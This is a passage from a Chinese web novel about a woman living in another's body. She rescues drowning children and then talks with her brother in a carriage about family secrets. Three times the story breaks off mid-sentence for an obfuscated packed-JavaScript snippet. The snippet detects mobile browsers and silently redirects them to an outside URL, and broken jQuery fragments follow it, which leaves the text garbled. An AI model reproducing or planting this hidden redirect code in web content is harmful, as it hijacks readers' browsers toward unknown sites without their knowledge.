“没关系,这不是什么冒犯。只是因为我对过往的事不够了解,所以我的表达重点在于不想引起争论;而阿月与我不同,他对‘我’在桓王府的事很是明白,所以才会发泄怒火般认为我在讥讽对方。这不是谁的问题,也不是谁的错,只是前因不同,所以结论也不同。”
见崔皓月负气离开,“崔清婉”也没有追赶解释的念头,大抵是现代生活的经历,她不喜欢和别人揪着观点辩个明白,尤其还是这种属于自我感受的观点。
君子和而不同,小人同而不和。
“娘子……很聪慧。”
不同于在凤琼阁内的避而不战,也不同于清晨时分的惊讶激动,此时“崔清婉”对争论的分析让崔皓羿耳目一新,只能发出一声仿若恭维的赞叹。
他略带痴意地看向身边人,视线落在与自己极为相似的眉眼处,明明是同一副躯体,可为什么,为什么她给自己的感觉,能如此割裂?
你,是谁呢?
但一直紧盯他人实在失礼,即便此刻她是自己名义上的胞妹,意识到这一点的崔皓羿迅速收回目光,开始暗自反省。
说来,他也不是为了照顾“崔清婉”的感受就忽视了崔皓月,是他太了解他那四弟——机灵能干,真挚热情,但就是容易冲动,尤其一沾到有关桓王府的事,便没好气。
也许是不入官场,不牵扯利益,在崔皓月眼中,桓王府就是让清婉不幸福不开心的开端,因此他本能地厌恶有关桓王府的一切,尤其是桓王李澈与那能生事的杜家姐妹。
那么自己不太冲动,是因为觉得桓王府的利益可以与阿婉的幸福相交换吗?
这样的问题突然浮现在崔皓羿的脑子里,他心中怵然一惊,猛地转头看向身边的女子,还是熟悉的样貌,只是神色不再是往常。
怎么会呢?怎么会不冲动呢?那可是与自己陪伴长大、血脉同流的孪生妹妹啊,桓王府再尊贵又怎能抵得过她的幸福?可是……
“说起来,你能为我辩解,还是——”
“崔清婉”本垂着目光暗自思忖,她心里当然明白与崔皓月的争辩不是他们二人的错,可心中也会因为不欢而散的氛围而感到失落,即使没有人责怪,但她还是下意识有些埋怨自己的多言。
但不能一直低落,这样下去岂不是让崔皓羿这个中间人为难吗?
很会为他人考虑的“崔清婉”正准备说些什么,只是不想,这一抬头,便对上了那双迷惘而脆弱的眼睛。
金褐色的眸子,在夕阳斜射下,很耀眼。
“还是……谢谢。”
“崔清婉”将最后几个字吐了出来,语气中夹杂着生涩迟疑,不知是被盯得尴尬,还是也在一瞬恍了神。
“我并未做什么,何来谢字一说?”
这次崔皓羿没有移开目光,他只是盯看着“崔清婉”的侧颜追问道。
“谢你知我本意,”崔清婉垂眸浅笑,而后故作自然地扫了眼街道上的行人,“其实你大可指责我因忘却昔日被欺压的痛苦而言伪善之语,毕竟,这更符合大多数人的想法。”
“伪善?如若真是伪善,方才在凤琼阁内的摔杯与下令又是什么?是拿腔作势、故作姿态吗?我深知你不是这样的人,你那般良善——”
崔皓羿仍旧盯着身边人,语气越发感激,大概是怕身边侍从起疑,他话锋突地一转:“说来,我发现阿婉的眸色似乎深了些。”
“嗯?有吗?啊……许是身体恢复时连带了些其他变化吧?”
“崔清婉”不自在地拨弄了下并不存在的耳边碎发,此刻她觉得很尴尬,一方面是对方赤诚的话语让她不知如何应对,另一方面则是她还能感受到来自崔皓羿的热切目光。
虽说他们二人明面上的关系是孪生兄妹,可她并不是原来的崔清婉啊,对她而言,崔皓羿就是个陌生男子,被陌生男子这般盯着,是真的芒刺在背呀!
“有理,阿婉能恢复成这个样子已属‘神迹’,有些不同也是合理的。”
察觉到崔皓羿收回了目光,“崔清婉”终于能轻松地换口气。
只可惜身边没有镜子,她看不到自己眸子深了些是深到什么程度,不过就算看到了,她也没办法与之前的做对比,这种事就单方面地听信崔皓羿所讲吧。
但话说回来,谁知道他是确有其事,还是只为了说给路上的行人们听呢?当然亦有可能是说给随行的侍从们,这些侍从虽不能肆意言语,可不代表他们不存在,方才自己一路与崔皓羿交谈,怕他们听了都觉得疏离吧……
慎言!慎言!要切记自己在人前的身份是崔清婉,是崔家四娘子,与崔家人交谈时务必得用该用的遣词造句。
心中不断思考着今后该如何与崔家人相处,“崔清婉”跟着身边人步伐前行没留意此刻已走到城中河岸边上,即将要踏桥过路。
“留神。”
“唔!”
被崔皓羿一言提醒,“崔清婉”这才回过神来。
仔细看去,再有几步便要走到石桥附近的石板地上,起伏的地块倒也没有多么陡立,只是不留神的话总会被绊上一跤。
“多谢提——”
还没来得及说完“提醒”二字,“崔清婉”便觉得有一股猛劲儿从斜侧边冲了过来,突来的力道撞得她身形一歪,还好是身边的晴眉眼疾手快才及时将她搀扶住。
“娘子小心!”
晴眉刚将自家娘子扶稳,还来不及多呵斥一句行人,便被那莽撞人的呼喊声盖了过去。
“快救人啊——有人落水啦——”
说话人身材粗壮,肤色黝黑,身着麻衫挽边裤,是常见的农户装扮,他奔走呼喊,一时间吸引了诸多路人看去。
“崔清婉”也朝着人群注目方向张望——只见两个孩童模样的脑袋在宽大的河道中挣扎起伏,岸旁边已有几人或站或蹲地抛递木棍、绳索之类的物件儿过去,但碍于河道又宽又深,实在难以企及。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877279|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“噗通——”
跳水声响动,只见一道矫健的人影儿扎进河中。
“有人跳进去了有人跳进去了!”
“先救那个小的!”
“那是哪家男儿?没听说附近有谁水性好啊!”
“能跳下水!再差也比你我强!”
“郎君——先救那个矮小的——他快撑不住了——”
随着有人跳进河中,岸上的人立刻七嘴八舌地指挥着。
人头攒动,“崔清婉”看不清状况,只能从人群缝隙间瞧上几眼,虽看不真切,但就是觉得河中身形眼熟,尤其那身黛蓝银鹤纹衣衫,实在熟悉——天!那不是崔皓月又是谁?!
但见崔皓月奋力游到一名稚子身边,想要带他离开,却不想那稚子因为落水慌乱,此刻如藤蔓一般缠在他身上让他使不出力气;而旁边的另一名孩童也挣扎得厉害,呛水过程中又有下沉趋势,崔皓月见状只能尽全力拽住他的衣领,让他能透出河面换口气不至于沉底。
可这根本是困境!
再耗下去!崔皓月也会力竭有危!
来不及了!
意识到围观人不会水的居多,但也可能是事发突然让会水者来不及反应,总之当“崔清婉”看到四周没有其他人再下水时,她已经冲到河堤边上。
“噗通——”
暮春的气温不算高,水中也是冰凉刺骨,“崔清婉”一个激灵便回过神自己在做什么。她听到崔皓羿在岸上厉声指挥下人,也听到路人们再次激起的惊呼,但她更留意听到的是崔皓月被水呛了半句的“快救人”。
她想要向前游去,却发现身上披戴着的长衫沾了水,实在累赘。她一拽前领的结扣,顺手将长衫抛在了河中。
迅速扫视一眼方位,深吸一口气,她一个猛子扎入水底,而后奋力游到被崔皓月提着领子的孩童背后,接着抓紧孩童的腰带与裤子,将其既推着又托着,用力将孩童顶出水面向岸边游去。
孩童仍在挣扎,不论是被她托着的,还是缠在崔皓月身上的,视野中水花四溅,根本看不清方向。
“崔清婉”无法判断崔皓月现在的状况,但她心中清楚,若那个缠在崔皓月身上的孩童不被控制住,他可就真危险了!
没办法,“崔清婉”只能在出水的一个空隙,大声对着周围水区喊道“打晕他”,而后便再度扎入水中硬撑着一口气顶力将挣扎的孩童向前推去。
人在求生时的力气是很大的,大到“崔清婉”被那孩童的挣扎带着在水里晃荡了好几圈,让她每前游一寸都难上加难。
力气损耗的速度远远超过“崔清婉”的预期,她知道再不抓紧,自己也可能会出岔子!
更别说,她清楚感觉到自己的憋气已到了极限!
心脏“咚咚”作响,紧密的跳动声仿佛在为她擂响战鼓,催促着她快些行动。
她知道她得忍住,一旦放松,再呛口水,她很可能就得交代在这儿!
不能!必须坚持!
“崔清婉”咬紧牙关,拼尽全力将孩童推向一个方向!
突然一下卸力,失去重担的“崔清婉”意识到自己游对了方向,这是有人在岸边接过了孩童,明白这些后,她的心一下子落了下来。
随之而落下的,还有她憋着最后一口气的紧绷——一股冷而浑的河水报复性地向她的口鼻灌入,难以描述的酸涩与闷痛从胸口冲到脑门,她想要咳嗽,想要呼吸,可每一次的求生本能都会让更多的河水灌了进来。
眼泪已经不由控制地涌出了,在冰凉的河水中,这是她唯一能感受到的温度。
我……要死了吗?
还会有……神迹……吗……
她的意识开始模糊涣散,在那将要坠进河底的一刹,她突然感觉到一只宽大温热的手掌拉住了她的手腕,再接着,一股强大的力量将她从冰冷河水中拽了起来!
14. 喜与怒
“咳咳咳!”
从刺骨的河水中被拉起后,“崔清婉”便止不住地咳嗽,晴眉护在她身边不住地轻拍着她的背部,帮助她把呛入的河水咳出来,隐隐间,还能听到晴眉抽泣焦急的低喃声。
视线已被泪水模糊,“崔清婉”辨不清自己在何处,又是何人将自己救起,但她还是用不断轰鸣的耳朵听到了一些信息。
“缪木去最近的茶楼寻些热汤来……柏舟再去看看马车,或加急回府……”
是崔皓羿的声音,紧张却不慌乱,严肃却不呵斥。
“咳咳咳——咳咳咳——”
“崔清婉”仍在急促地咳嗽着,但心中尚多了一丝安稳之意。不过那浸透衣物的河水在逐渐降温的黄昏下更显冰凉刺骨,让她难以抑制地瑟缩了起来。
视线朦胧间,她察觉到有人走近自己,并在距离自己不及半尺的地方蹲了下来,她能感受到对方温热的气息守在自己的身旁,接着,同样温热的一件衣物环裹了自己——是崔皓羿外披的大氅,厚实且暖和。
“好些了吗?”
关切的话语自身前响起,“崔清婉”抬手揉揉眼睛,用力地咳嗽着,想要凑出一句话答复。
“孩童——咳咳!!四郎咳咳咳——”
“孩童被你托起后就喘过气来,我已吩咐下人将他们送往医馆,而阿月身体素来强健,且自你分担托救了一位孩童,他便省了劲,比你更早上岸,如今在一旁缓着。”
似乎知道“崔清婉”要问什么,崔皓羿事无巨细地回答道。
“咳咳!冷咳咳——”
“冷?我已命人在附近寻热汤来,再忍耐一下可好?”
崔皓羿抬手将裹着“崔清婉”的大氅又紧了紧,安慰道。
“崔清婉”乌紫的嘴唇张了张,却还是一连串的咳嗽,没说出什么成句的话。她本被冻得脸色发白,却因为咳嗽剧烈又在双颊浮现出一抹潮红,崔皓羿目光垂怜地盯着她,忽地像是想到什么,急忙补充道。
“阿月入水前已脱下氅衣,现下披戴着,你不必忧心。”
“咳咳——嗯咳——”
“崔清婉”边咳嗽边点了点头,这下子倒换得崔皓羿有些无奈,都什么时候了,还在想着别人。
“阿郎,热汤找来了,四郎君那边已在饮用,四娘子这里……”
随着咳嗽渐缓,“崔清婉”的视力与听觉也开始清晰,她听见有侍从言语,便歪头看去——但见四周围了诸多路人,不过因为崔家侍从环守在她身边,他们也不敢近上前来。
“交给我吧,我本是服侍四娘的。”
晴眉起身将侍从手中装有热水的碗盏接过,然后再次小心蹲在“崔清婉”身边,将宝贵的热源递送到她嘴边。
“四娘小心烫,浅抿几口暖暖身子吧。”
“崔清婉”看到就差抵在自己唇边的陶器一愣,然后瞟了眼还在盯着自己的崔皓羿,后者一怔,目光下垂以示歉意,随即站起身来走远了几步。
“崔清婉”收回目光,轻轻呼了几口气,就着碗盏边沿慢慢地嘬取着其中的热水。
如果是栗香牛奶就更好了!
突然冒出的奇怪念头让“崔清婉”自己都感到莫名其妙,她苍白的容颜上浮现出一丝轻柔的笑意,看上去更加惹人怜爱。
“四娘都这个样子了,还笑什么!要是云岫姐姐在,都不知道该急成什么样了!”
“那咳咳……那我们保密,咳嗯……别告诉她。”
“四娘出了这么大的事,云岫姐姐怎么可能不知道!四娘真是!”
“崔清婉”见晴眉像个小猫似的瞪大眼睛,满脸嗔怪,不由得神经更松懈了些,正想再回嘴逗逗晴眉,便听得遥遥一声呼喊——
“阿郎——阿郎——”
“怎么?马车可来了?”
崔皓羿紧了两步走上前去,对着从围观路人堆里挤出来的小厮问道。
“回阿郎,马车来了,且来了两辆。”
“嗯?”
“因这边喧闹,且我奔走得急了些,路过裴将军宅邸时,被其家丁瞧见,待将军了解了事情原委,便吩咐下人从裴府套了辆马车一起驶了过来。”
“裴将军可也来了?”
“来了,在那边——”
“崔清婉”听得几句话便见小厮带着崔皓羿离了人群,缝隙间,她远远望见一个高大魁梧的玄金色身影,仔细辨看,那人剑眉星目、气宇轩昂,甚为高大挺拔的身形使得他立在那儿便不敢有人靠近。
似乎是注意到这边探寻的目光,他乜斜着眼睛也看了过来,只一对视,“崔清婉”便觉得心头一震。
厌恶?气愤?讥讽?
那男子目光坚硬冰冷,像一杆长枪直直钉在“崔清婉”的身上,她不觉已屏住了气息,但仍撑着胆量没有收回目光。
这名男子与崔皓羿同为武将,但给人感觉却如此不同。
若说崔皓羿是一柄龙凤环仪刀,俊逸刚韧;那这人便是一把虎头大刀,雄浑威武。
“四姐姐,你说裴如信来干嘛?”
冷不丁地一句话,惊得“崔清婉”一个激灵,顺带晃得唇边碗盏洒出几滴热水来。
“嘶——烫!”
“四娘慢些,”
晴眉忙将碗盏搁在一旁,而后自怀中掏出绢帕轻拭“崔清婉”的嘴角,她拧起眉头,忍不住对同样裹着大氅半蹲在一旁的崔皓月埋怨道,
“云姐姐一再和我说要小心四郎君,当心四郎君捉弄惊吓到四娘,但我没想到四郎君被河水冰成这样,却还要猛不防地来这么一下!”
“嗯?你是四姐姐的新侍女?”崔皓月打量了一下晴眉,调笑道,“看样子是个机灵懂事的,那你以后可要记得随时护好你家四娘,毕竟要我更改脾气还是挺难的。”
“四郎君!”晴眉语气有些不满。
“嘿,”崔皓月嬉笑一声,一脸无谓,随即他再度回头跟着“崔清婉”一起看向远处,“四姐,你还没回答我呢,那裴如信来干嘛?”
裴如信?
那男子果然是随从口中所讲的裴将军。
“崔清婉”抿了抿还有烫意的舌尖,再抬眸看去,只见裴如信已与崔皓羿隐在人群后交谈,于是她回过头来看向崔皓月。
虽然崔皓月本人也下了水,但他却不似自己这样狼狈,他的模样可比自己有神采多了,甚至不像是方才救了人,更像是玩了水。未擦拭干的水珠在他的发丝上透亮灵动,更显得崔皓月朝气蓬勃。
年轻就是好啊……
“四姐盯着我干嘛?好好好,我的错,我不该拿裴如信打趣四姐。”
崔皓月见“崔清婉”一言不发地盯着自己,心里可是发毛得很,只能讨饶。
“打趣?他有什么值得你用来打趣我?”
方才与裴如信对视,本就弄得“崔清婉”一脸僵硬,再加上被崔皓月惊吓,面上更添几丝凝重,以这样的神色问向崔皓月,反而吓得后者不复轻松之态。
“嘿,嘿嘿……四姐别生气,我这不就瞎调侃一句嘛,”
崔皓月讪笑几声,然后佯装为对方掖了掖大氅的裹挟,让自己看上去尽量平常些,压低声音继续道,
“裴如信也没什么可得罪四姐的,就是他不怒自威,常年板着一张苦大仇深的大叔脸,往日里四姐最怕见他。不过说来也奇怪,明明四姐从不怕大哥二哥的……”
“啊?”听罢崔皓月的描述,“崔清婉”愣了一下,回想起方才的对视,不由得点点头,“倒确实是不怒自威,不负将军名号。”
“嗯,虽威严些,但裴如信是个义士,”崔皓月狡黠一笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877280|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又开始嘟囔开来,“三哥是这么说的,还说可惜我崔家没有五娘子,不然能与他裴如信结成亲事再好不过了。”
“这……想来是裴将军为人可靠,三哥难得挚友,故而觉得他实为良配?”
“崔清婉”边说边偷偷向那边望去一眼,只见崔皓羿与裴如信已是拱手道别,现今正向人群作礼,请众人让开路以便马车靠近些。
再向远处眺看去,那抹玄金色身影已从街角闪过不见踪影,“崔清婉”眨眨眼,突然有些八卦地低声问道。
“既然没有崔五娘,那不知裴将军娶了哪家娘子?”
“他啊,他至今尚未婚娶,任凭哪家权贵托人上门议亲,他都板着一张冷脸拒绝,实在是块铁板——”
还不等崔皓月吐槽完,便见崔皓羿疏散了人群走上前来,吓得他忙换上一副正经模样。
“三哥!那个……四姐姐已觉得身体好多了,我们现在可要回府?”
“嗯,”崔皓羿点点头,“现有两架马车,阿月你独乘裴府的,我与阿婉同乘一辆,我还有话要嘱咐与她。”
“噢……今天真是麻烦三哥还为我们操心,我们以后行事一定多加思虑,不再冲动,”崔皓月不着痕迹地一推“崔清婉”胳膊,补充道,“四姐姐也是这个意思,对吧?”
“啊?嗯,嗯!”
差点没跟上节奏,“崔清婉”经过崔皓月的提醒,忙着点头称是。
这时她才从方才救人的情绪中脱离出来,于是后知后觉地意识到,先前她冲动下水救人,虽终究成功,但也陷入过危险,即便最后并未酿成遗憾,但此事一定让崔皓羿揪心不已。不为别的,只说这身体还是他胞妹崔清婉的,就足够他冲自己发个百八十次火儿的。
不过是仗着自己受他恳求来救崔清婉,且他确实性子赤诚温和,在救起自己后还能柔声言谈,自己怎么就敢肯定他不会因自己下水救人而生气呢?
“晴眉,快搀扶四娘子上马车,别在此处吹风受寒了。”
“是,四娘,我们走吧。”
当“崔清婉”的脑子里还在激烈假设如何应对极有可能在车厢里对自己发火的崔皓羿时,她已被搀扶到车厢内,一个闪身,崔皓羿也坐了进来。
“叮铃铃”
马车的行驶声再度响起,因少了既定一人而算得上是宽敞的车厢内,“崔清婉”与崔皓羿对面而坐,一时无话。
自己被无端借魂,崔皓羿跪地请求原谅,清晨书房中发生的事还历历在目,可这并不意味着她的地位就可高高在上,这一切只不过是因为崔皓羿本身有良知有德行,若他是个无赖的纨绔子弟,那自己十有八九早被控制下来,更别说主动为自己去找恢复之法了。
“崔清婉”捏着大氅的内里,心中慌乱止不住地翻涌,她似乎之前太过肯定对方是个真正的好人了。
没办法直视崔皓羿的目光,她很清楚,先前被别有用心者设下的“雷击”已足够让崔皓羿痛苦自责,这好不容易得了“神迹”,能让这副身体存活并借自己滋养崔清婉魂体,倘若今天因为自己一时冲动救人而导致这副身体发生不可逆转的损害,那他该有怎样的恼怒与悲哀。
“你——”
“你——”
沉默良久,二人突然双双开口。
“抱歉,还是请让我先说。”
“崔清婉”紧紧牙关,在大氅里搓捏衣物为自己打气,她决定先发制人。
“冲动下水是我不对,我不该贸然行事,让这副身体存在受伤的风险,你要是想责骂我便请吧,但请不要耽误——”
“崔清婉”低着头,诚恳地倒出满腹自责,说到底,当下她才是那个被人捏在手心中的人。
但还不及她再多说几句,崔皓羿便打断了她:“勿要害怕,娘子做得没错,我甚钦佩娘子。”
15. 意外之言
“啊?”
“崔清婉”难以置信地看向崔皓羿,他澄澈透亮的眸子里确实没有责备,也没有戏谑,满盛的唯有真挚,宛如自己见到他的第一眼。
“崔清婉”想不懂,若说清晨谈话时他对自己态度温和是想要拉拢自己,那现在呢,也是拉拢人心的一环?
“三郎君这话我不明白。”
“娘子见义勇为,愿在危急时刻挺身而出,羿实钦佩。”崔皓羿拱手作礼,情真意切。
“不,不是这个问题。”
随着马车前行的轻轻晃动,“崔清婉”也摇摇头,面上的不解之意更加浓重。
“我是想说呃……你看,你也知那是危急时刻,那令妹身体若是因我莽撞行动而有折损,那岂不是——我想你懂我的意思。”
“崔清婉”支支吾吾,有些没底气,不过面对崔皓羿这个聪明人,话也不必说得太清楚。
光凭今日的了解,她很清楚崔皓羿对崔清婉的关心是有别于崔家其他人的,大抵是他们一胎同出,所以格外亲近些。而今自己救人冲动,又差点溺于水中,他怎么可能不生气?想来就算清婉娘子本人做了这事,怕也少不了一顿训斥。
可现在他这般和煦,实在让人费解,甚至,令人心中隐隐不安。
“我知娘子在顾虑什么,但我也是肺腑之言,在此事上我确实敬佩娘子,”崔皓羿目光低垂,情绪难辨,“并且,我希望娘子今后也能初心如磐,做自己认为该做的事。”
“不不不……”
这下子“崔清婉”的脑袋摇得更激烈了,要不是崔皓羿的语气实在诚恳,她绝对会认为对方是在挖苦自己鲁莽。
“你这样不太对劲,我不是说你的话有什么问题……就是,你怎么能这样平静?我现在用的可是清婉娘子的身体,清婉娘子又怎么会下水救人?啊不,我不是说她冷心肠——”
愈发纠结的“崔清婉”忍不住用手指捏搓着大氅内里,扯着衣物想要比划组织好自己的语言。
“我这样做不是很不合身份吗?又将自己置于危险之中,这可是你亲妹妹的身体,我真的不懂,为什么?”
“为什么……”
崔皓羿咀嚼着这几个字,像是也在问自己,沉默一瞬后,他抬起眸子释然般笑笑。
“若非要说个理由,那我只能说娘子毕竟不是我崔家子女,没必要为了崔家再去压抑自己。即便有我请娘子假扮阿婉身份在先,娘子也无需以昔日阿婉的身份举止为桎梏。反而,我更希望娘子秉持本性,为来日的阿婉做个表率。”
“表率?我?”
“崔清婉”瞪大眼睛,一脸难以置信的神情,其实她也明白崔皓羿的意思,但她还是认为对方应该稍微动个怒才更合理。但总的来说,既然自己不会受到指责,这是最好不过的,且以后也能这样“妄为”下去……
嘿!还不错。
“好吧,多谢你的信任,也多谢你的包涵。”
“娘子客气了,”崔皓羿笑着点点头,随即眸光流转,缓缓开口,“既然我已将自己的真心话传到,那望娘子容我再嘱托一言。”
噢……先礼后兵是吧?没事,我承受得住。
“三郎君请讲。”
“崔清婉”克制住上挑的眉尖,然后收颌垂首,一副乖孩子听从长辈训话的模样。见状,崔皓羿抬手示意她掖掖颈侧的衣角,好让氅衣裹得更严密些。
“入河救人是迫在眉睫的当机立断,所以我钦佩娘子的英勇,可若是往后遇到并非这般的迫切,我希望娘子尽可能保全自己的安危,此言既是为了我胞妹阿婉,也是为了仍在阿婉身上的娘子。”
“娘子本就仁义,不责怪我无意造成借魂一事,还愿意帮阿婉养魂,如此之下,若娘子有个三长两短,那才让我无地自容。我这般说,娘子一定觉得我寡情,可现实确实如此,阿婉那样遭遇,即便是真救不回来,我也该认命,但若为此搭上娘子的性命,那我真该以死谢罪。”
真诚,又能切身地为他人着想,如果他不是在刻意表演,那不得不赞叹一句崔家家风优良,能培养出这样可贵的人来。
是的,可贵,不自欺且内心坦荡的人实在可贵。
只是也不知道为什么,崔皓羿言语越是温和真挚,“崔清婉”因此而生的委屈就越多,她忙着把脑袋往衣领边缩了缩,掩饰着眼眶中的湿润酸涩。
但马车车厢内总归是狭小,所以眼前人泛红的眼尾是如此引人在意。崔皓羿侧着目光盯看对方试图藏匿在大氅中的泪雾,不由得前倾身子,稍稍凑近,然后在犹豫中开口。
“娘子?娘子这是怎么了?”
“不……没事,只是想起一些往事。”
“崔清婉”抿紧双唇摇摇头,她将脑袋垂在大氅的毛领边上,晃晃脑袋蹭了蹭眼角泪水,然后露出一张很难为情的笑脸。
“大概我也曾遇到相似的场景,但记不真切,抱歉,是我失态了。”
“该说抱歉的人分明是在下,若不是我,娘子又怎会失去一些记忆……”
崔皓羿泛起一丝带有歉意的苦笑,随后他很识趣地向后板板身子重新端坐,他不是个什么都要刨根问底的人,这种沉浸在回忆的瞬间,还是该留给对方的。
马车内陷于静寂,只听到车轮碾过道路辘辘作响。
“崔清婉”抽抽鼻子,努力使自己表现得平静些,她偏过头向木窗缝隙看去,思绪也很配合地飘向远方。
但说实话,其实没什么要紧的,甚至不该有流泪这样矫情的行为。只是方才听到崔皓羿的温柔嘱托,她便不由地想起那只在儿时摔破的碗——明明自己也是体恤家里人辛苦而主动去做的家务,怎么就因为不小心摔破了一只碗而挨了那样的训斥?
“什么事都做不好!”
“你这样毛躁以后谁敢要你?”
“不想做别做!看你笨手笨脚的样子!”
……
言辞激烈的场景充斥在脑海,让这个假崔清婉难以自抑地扯扯嘴角,含着泪光自嘲一笑。
她很清楚她的父母是爱她的,可同时,她也清楚那些训斥是确切存在的。她想要抱怨发泄,却囿于父母的关爱;她想要装作不在意那些被责备的经历,但每每在没有防备时被骤然席卷的悲伤所淹没。
她应该不去在意这种深埋在记忆深处的细枝末节,她也认为自己很坚强,毕竟从此以后她做任何事都开始追求极致完美,再也不留给别人责骂自己的机会。
可怎么,怎么今日就突兀地想起来了呢?
真是……奇怪……
车马声碾过,光阴辘辘作响,唯有暮春沉默不语。
“那个……六月初,三郎君会同去吗?”
大概是长久的沉默过于尴尬,“崔清婉”努力驱散内心的悲伤后便试探着开了话头。
“嗯?”
崔皓羿再次倾倾身子,随之而来的目光也带有几分探询意味。
“清晨在书房时,三郎君不是曾讲到桓王来崔家的事吗?”
“崔清婉”垂下眸子躲开崔皓羿的目光,面上浅浅浮起礼貌性的笑容,好似晚秋时节盖在腐朽枯叶堆上的落英,让人不忍心踏破。
“桓王说他盛王兄家的长女璨儿曾约清婉娘子与他出席金钗生宴,问我还去不去,我本拿不下主意,但他又说往日里清婉娘子极为宠溺璨儿,略一思索,我便应下了。现在想来,我还是有些冲动,所以,我想问问三郎君是否前去,多一个人在身边,我也能少露些破绽。”
其实他是不会去的,她心里很明白,但就当是一个话头,不必深究。
“娘子说笑了,盛王长女的金钗生宴,我一男子无缘无故怎会前去?”
崔皓羿温笑着轻声回复,也是很配合地表现出一副无事发生的模样。
“不过娘子初次参加权贵的宴会,难免会心生不安,我会私下知会三姐姐,请三姐姐与娘子一路。娘子放心,三姐姐与京中女眷多有交往,有她照看,定然稳妥得多。”
“清书娘子可以同去?”
“崔清婉”突地抬首,对这意外的收获倒有几分惊讶,若按戏剧安排来说,这种宴会上总该是穿越者崭露头角的好时机,可她若有崔三娘子的跟随,想必能大大减少被迫“露头角”的风险。
繁复的盘发编得还算牢固,大体没有松散,但她毕竟是下过水救人的,现在基本已是湿透的状态,此时随着她抬头,顺着发梢的水滴“啪嗒”一声被晃落在厢内的木板上。崔皓羿见了,忙是抬抬手,向她示意用大氅擦擦发边的水迹。
“先凑合着擦擦,一会儿就到府上了……说来娘子不甚清楚,我三姐姐手中有一处产业,唤作‘醉香楼’,是京内数一数二的酒楼,官眷们每每举办家宴,总会从三姐姐那里预定些菜品。面对盛王府这样的尊客,三姐姐可以酒楼掌事人的身份送去菜品,所以娘子不必忧心。”
“原来是这样,除了花田还有酒楼,难怪清书娘子甚少久留府中,想来打点这些产业很费精力吧?”
“崔清婉”用氅衣蹭蹭脸侧,若有所思地嘟囔着。现如今的崔家三娘子在她心目中已完全是个只顾事业的女强人形象,不过这样的情况能得到崔家尊重与支持,她还是觉得不可思议。
瞧着眼下的谈话氛围不错,“崔清婉”一转眸,又继续开口。
“嗯……那个,我可不可以问件比较私人的事?”
崔皓羿了然一笑:“我大概知道娘子想问什么。”
看到对方一脸看破不说破的温和笑意,“崔清婉”不自在地将目光瞥向一侧,这种氛围下,她自然就回想起先前去市集时她于马车内听到“杨简礼”后发出的惊呼。
啊——崔皓羿一定认为自己是个很爱听八卦的人吧。
不过,遮遮掩掩才显得欲盖弥彰,好奇是人类的天性嘛,在这种无伤大雅的事情上哪怕八卦一点也不算很过分吧?
“崔清婉”定定心神,开口便是坦率:“虽然这样发问是有些失礼,但我确实很在意清书娘子尚未婚嫁的理由。但我绝对不是对清书娘子的决定多嘴多舌什么,我只是纯粹地好奇。”
“娘子不必心急解释,我能察觉到娘子并无恶意。”
马车已经驶进了达官贵人们的坊巷内,车轮的辘辘声也渐趋平缓,崔皓羿在安慰对方的过程中也将声音放得轻柔。
“其实娘子好奇的内容我也曾不解,所以也这样问过二哥。”
“那二郎君怎么说?”崔清婉追问。
“二哥说啊……说三姐姐十五六时也曾爱慕过一男子,据说那男子丰神俊朗又细致入微,于是三姐姐将此事告知家中,家人得知后自然不会平白发表意见,总是要暗下考察。”
“而考察结果即是那男子家世平庸却也清白,加上他才华相貌都不落俗,往后有族人帮衬扶持也能成个气候。所以一来二去,家中人便打算为三姐姐议婚。只是,任谁都没想到,临到近前儿,那男子突地不见了。”
“嗯?不见了?是失踪,还是出了什么意外?”崔清婉不解。
“若是失踪便好了,可偏不是,”崔皓羿摇摇头,一脸的苦笑,“因为那男子压根不是凭空消失,他是褪下武装换红装,他分明是个妙龄佳人。”
“哈?”
“不仅如此,舍去男子装扮的那位女子登门道歉后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877281|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又坦白心意,说自己是真心爱慕三姐姐,若是可以,真心求娶。她本不说这话,家中人只当是个乌龙事便也罢了,可偏她这样言语,反倒成了件难被遮掩的大事。好巧不巧,三姐姐竟说非她不嫁,不然就以死相逼——”
曲折离奇的情节让“崔清婉”不停眨着眼睛,看得出来,她已经是竭力控制自己不流露出太过失态的神情了。
“啊?那后来呢?那位娘子呢?清书娘子呢?”
“后来呀,三姐姐突地向一位昔日同窗写了书信,请对方娶了自己,情理并用,言语恳切。而她的那位同窗本就软弱,恰逢书信无意间被他兄长所见,权衡之下,虽对婚姻之事思量未清,但他也在催促声中半推半就地商定了——”
“欸?那清书娘子不是没嫁人吗?”
正在“崔清婉”一本正经盯着崔皓羿等待下文时,崔皓羿却是一个没绷住,垂下眸子低笑起来。
??
